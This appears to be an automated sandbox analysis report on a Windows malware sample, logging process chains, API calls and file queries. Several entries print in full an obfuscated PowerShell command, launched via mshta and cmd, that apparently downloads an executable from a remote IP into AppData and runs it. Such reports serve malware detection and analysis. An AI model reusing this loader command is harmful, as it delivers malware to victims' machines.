            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.cmdline"Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\winnit.exe "C:\Users\user\AppData\Roaming\winnit.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3925.tmp" "c:\Users\user\AppData\Local\Temp\5zyziwbf\CSCADB73B4CC47C40A8804A92B1B0BD1E62.TMP"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\AppData\Roaming\winnit.exe" Jump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]0x22+'jg9zdhrwum5vicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicbbreqtdflqrsagicagicagicagicagicagicagicagicagicagicaglu1lbwjlumrfzmlusxrpb04gicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvcmxtb04ilcagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagq0njyk9wyixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagihz2qktsvyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagihbitunmtnr4ccx1aw50icagicagicagicagicagicagicagicagicagicagicbdcvbpz1riqkossw50uhryicagicagicagicagicagicagicagicagicagicagicbcdfjmbmn1ktsnicagicagicagicagicagicagicagicagicagicagicattmftrsagicagicagicagicagicagicagicagicagicagicagikhmvuhizkvlruiiicagicagicagicagicagicagicagicagicagicagicatbmftrxnwyunficagicagicagicagicagicagicagicagicagicagicb3c0fns05iccagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagjg9zdhrwum5vojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3ns4xmtmumtk2lzqwmc93aw4uzxhliiwijgvudjpbufbeqvrbxhdpbm5pdc5leguildasmck7u3rbcnqtc0xlrvaomyk7sukgicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2lubml0lmv4zsi='+[char]0x22+'))')))"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]0x22+'jg9zdhrwum5vicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicbbreqtdflqrsagicagicagicagicagicagicagicagicagicagicaglu1lbwjlumrfzmlusxrpb04gicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvcmxtb04ilcagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagq0njyk9wyixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagihz2qktsvyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagihbitunmtnr4ccx1aw50icagicagicagicagicagicagicagicagicagicagicbdcvbpz1riqkossw50uhryicagicagicagicagicagicagicagicagicagicagicbcdfjmbmn1ktsnicagicagicagicagicagicagicagicagicagicagicattmftrsagicagicagicagicagicagicagicagicagicagicagikhmvuhizkvlruiiicagicagicagicagicagicagicagicagicagicagicatbmftrxnwyunficagicagicagicagicagicagicagicagicagicagicb3c0fns05iccagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagjg9zdhrwum5vojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3ns4xmtmumtk2lzqwmc93aw4uzxhliiwijgvudjpbufbeqvrbxhdpbm5pdc5leguildasmck7u3rbcnqtc0xlrvaomyk7sukgicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2lubml0lmv4zsi='+[char]0x22+'))')))"
            Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]0x22+'jg9zdhrwum5vicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicbbreqtdflqrsagicagicagicagicagicagicagicagicagicagicaglu1lbwjlumrfzmlusxrpb04gicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvcmxtb04ilcagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagq0njyk9wyixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagihz2qktsvyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagihbitunmtnr4ccx1aw50icagicagicagicagicagicagicagicagicagicagicbdcvbpz1riqkossw50uhryicagicagicagicagicagicagicagicagicagicagicbcdfjmbmn1ktsnicagicagicagicagicagicagicagicagicagicagicattmftrsagicagicagicagicagicagicagicagicagicagicagikhmvuhizkvlruiiicagicagicagicagicagicagicagicagicagicagicatbmftrxnwyunficagicagicagicagicagicagicagicagicagicagicb3c0fns05iccagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagjg9zdhrwum5vojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3ns4xmtmumtk2lzqwmc93aw4uzxhliiwijgvudjpbufbeqvrbxhdpbm5pdc5leguildasmck7u3rbcnqtc0xlrvaomyk7sukgicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2lubml0lmv4zsi='+[char]0x22+'))')))"Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]0x22+'jg9zdhrwum5vicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicbbreqtdflqrsagicagicagicagicagicagicagicagicagicagicaglu1lbwjlumrfzmlusxrpb04gicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvcmxtb04ilcagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagq0njyk9wyixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagihz2qktsvyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagihbitunmtnr4ccx1aw50icagicagicagicagicagicagicagicagicagicagicbdcvbpz1riqkossw50uhryicagicagicagicagicagicagicagicagicagicagicbcdfjmbmn1ktsnicagicagicagicagicagicagicagicagicagicagicattmftrsagicagicagicagicagicagicagicagicagicagicagikhmvuhizkvlruiiicagicagicagicagicagicagicagicagicagicagicatbmftrxnwyunficagicagicagicagicagicagicagicagicagicagicb3c0fns05iccagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagjg9zdhrwum5vojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3ns4xmtmumtk2lzqwmc93aw4uzxhliiwijgvudjpbufbeqvrbxhdpbm5pdc5leguildasmck7u3rbcnqtc0xlrvaomyk7sukgicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2lubml0lmv4zsi='+[char]0x22+'))')))"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B07CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,6_2_00B07CAF
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B0874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,6_2_00B0874B
            Source: winnit.exe, 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmp, win[1].exe.3.dr, winnit.exe.3.drBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
            Source: winnit.exeBinary or memory string: Shell_TrayWnd
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AD862B cpuid 6_2_00AD862B
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformationJump to behavior
